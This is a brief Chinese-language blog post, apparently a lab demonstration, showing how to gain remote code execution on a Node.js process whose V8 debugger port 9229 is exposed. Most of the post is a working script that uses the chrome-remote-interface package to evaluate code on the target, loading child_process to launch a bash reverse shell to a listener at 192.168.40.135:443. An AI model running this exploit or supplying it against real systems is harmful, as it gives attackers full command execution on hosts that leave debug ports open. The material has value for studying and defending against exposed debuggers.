NodeJS V8 Engine Debugger Exploit (Part2) - Auto Exploit
在上一篇文,(NodeJS V8 Engine Debugger Exploit) 中,我們使用了 VSCode 的 Debugger 與 Chrome 的 Debugger 把 Node JS 的 Debugger Port 給戳出 Shell。 但上一篇貼文終究要使用到 GUI,用起來總是沒有很舒服,感謝 @uuuuuyurr 大大協助,找到了一個方便的酷酷工具,可以使用 CLI 、 程式完成這件事情。 這次需要使用到的套件叫做 chrome-remote-interface 透過 npm i chrome-remote-interface 即可進行安裝。 接下來把官方的範例程式做一點點小小小修改,其他環境皆與上次的實驗環境相同,就可以 RCE 囉! Exploit 程式碼: const CDP = require('chrome-remote-interface'); async function example() { let client; try { // connect to endpoint options = { "host": "192.168.40.136", "port":9229 } client = await CDP(options); r = await client.Runtime.evaluate({expression: `global.process.mainModule.constructor._load("child_process").exec("bash -c 'bash -i >& /dev/tcp/192.168.40.135/443 0>&1'")`}); console.log(r); } catch (err) { console.error(err); } finally { if (client) { await client.close(); } } } example();